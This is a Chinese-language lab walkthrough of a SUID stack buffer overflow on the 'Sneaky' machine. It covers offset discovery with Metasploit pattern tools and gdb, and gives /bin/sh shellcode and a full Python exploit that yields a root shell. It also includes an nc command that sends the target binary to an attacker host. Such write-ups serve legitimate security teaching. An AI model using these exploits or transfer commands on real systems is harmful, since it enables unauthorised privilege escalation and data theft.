上一篇:Sneaky(snmp默认口令泄露敏感信息)
参考资料:
名词解释 函数返回地址:保存当前函数调用前的信息,一边函数返回时能够回复到函数被调用前的代码区中继续执行指令。 EIP: 指令寄存器,指向下一条等待执行的指令地址。
找到suid权限的程序 find / -perm -4000 2>/ dev/null > examSUID.txt
让该程序报错,证明可能有bof漏洞 python -c "print 'A'*500"
/usr/ local/bin/ chal $(python -c "print 'A'*500" ) Segmentation fault (core dumped)
nc下载程序到本地进行分析 【kali运行】nc -lnvp 8000 > chal
【目标shell运行】nc 10.10.14.8 8000 < /usr/local/bin/chal
定位缓冲区长度为362字节 ** 生成500字节字符串**
locate pattern_create /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gdb调试该程序
gdb用法
gdb -q chalrun Aa0 Aa1 Aa2 Aa3 Aa4 Aa5 Aa6 Aa7 Aa8 Aa9 Ab0 Ab1 Ab2 Ab3 Ab4 Ab5 Ab6 Ab7 Ab8 Ab9 Ac0 Ac1 Ac2 Ac3 Ac4 Ac5 Ac6 Ac7 Ac8 Ac9 Ad0 Ad1 Ad2 Ad3 Ad4 Ad5 Ad6 Ad7 Ad8 Ad9 Ae0 Ae1 Ae2 Ae3 Ae4 Ae5 Ae6 Ae7 Ae8 Ae9 Af0 Af1 Af2 Af3 Af4 Af5 Af6 Af7 Af8 Af9 Ag0 Ag1 Ag2 Ag3 Ag4 Ag5 Ag6 Ag7 Ag8 Ag9 Ah0 Ah1 Ah2 Ah3 Ah4 Ah5 Ah6 Ah7 Ah8 Ah9 Ai0 Ai1 Ai2 Ai3 Ai4 Ai5 Ai6 Ai7 Ai8 Ai9 Aj0 Aj1 Aj2 Aj3 Aj4 Aj5 Aj6 Aj7 Aj8 Aj9 Ak0 Ak1 Ak2 Ak3 Ak4 Ak5 Ak6 Ak7 Ak8 Ak9 Al0 Al1 Al2 Al3 Al4 Al5 Al6 Al7 Al8 Al9 Am0 Am1 Am2 Am3 Am4 Am5 Am6 Am7 Am8 Am9 An0 An1 An2 An3 An4 An5 An6 An7 An8 An9 Ao0 Ao1 Ao2 Ao3 Ao4 Ao5 Ao6 Ao7 Ao8 Ao9 Ap0 Ap1 Ap2 Ap3 Ap4 Ap5 Ap6 Ap7 Ap8 Ap9 Aq0 Aq1 Aq2 Aq3 Aq4 Aq5 Aq
得到一个地址0x316d4130
locate pattern_offset.rb/usr/ share/metasploit-framework/ tools/exploit/ pattern_offset.rb -l 500 -q 316 d4130
offset 362, 现在我们知道了第362就是要覆盖的返回地址。
搜索shellcode 【目标shell运行】uname -a
Linux Sneaky 4 .4 .0 -75 -generic #96 ~14 .04 .1 -Ubuntu SMP Thu Apr 20 11 :06 :56 UTC 2017 i686 athlon i686 GNU/Linux
搜索i686,可得知目标机器是86位的机器。
google搜索关键词” packetstorm /bin/sh shellcode “
char shellcode[] = "\x 31\x c0\x 50\x 68\x 2f\x 2f\x 73" "\x 68\x 68\x 2f\x 62\x 69\x 6e\x 89" "\x e3\x 89\x c1\x 89\x c2\x b0\x 0b" "\x cd\x 80\x 31\x c0\x 40\x cd\x 80";
gdb调试选择溢出后的返回地址 gdb /usr/local/bin/chal
run $(python -c ‘print “A”*500’) #这个数字500可以随意设置,但不能小于362,否则不会造成溢出错误;也不能太大,不方便分析。
x/500x $esp 这条命令的意思是,查看栈指针寄存器ESP ,500字节的内容,每次输出100字节,按enter键查看下一个100字节内容,分为5次输出
字符串A,转换为十六进制就是\x41
先随便找一个地址是\x41的地址,比如说0xbffff820
eip = pack(‘<L’, 0xbffff820)
这一步的作用是,写一个exp的demo。注意此时的eip是错误的,当我们写好demo以后,就可以使用python exp.py
来进行后续调试了。
exp demo from struct import pack shellcode = "\x 31\x c0\x 50\x 68\x 2f\x 2f\x 73" #shellcode是c语言二进制代码, shellcode +="\x 68\x 68\x 2f\x 62\x 69\x 6e\x 89" #作用是将/bin/sh调出 shellcode +="\x e3\x 89\x c1\x 89\x c2\x b0\x 0b" #因为程序是suid权限, shellcode +="\x cd\x 80\x 31\x c0\x 40\x cd\x 80" #所以运行后调出/bin/sh就是root权限的shell buffersize = 362 #缓冲区长度是362,之前说过如何计算得出 nop = "\x 90" * (buffersize - len(shellcode)) #缓冲区长度减去shellcode的长度,其余部分用\x 90填充 eip = pack('<L', 0xbffff820) #eip指向返回地址,在溢出完成后,使得指令继续正常向后运行 payload = nop + shellcode + eip print payload
gdb /usr/local/bin/chal
run $(python exp.py)
调试exp demo
run $(python exp.py)
x/400x $esp 这条命令的意思是,查看栈指针寄存器ESP ,400字节的内容,每次输出100字节,按enter键查看下一个100字节内容,分为4次输出
因为exp上写了除了shellcode部分,其余部分用\x90填充
所以找到一个随便找一个内容是\x90的地址0xbffff7c0 修改exp的这一行:eip = pack('<L', 0xbffff7c0)
运行exp即可得到root权限:/usr/local/bin/chal $(python exp.py)
执行流程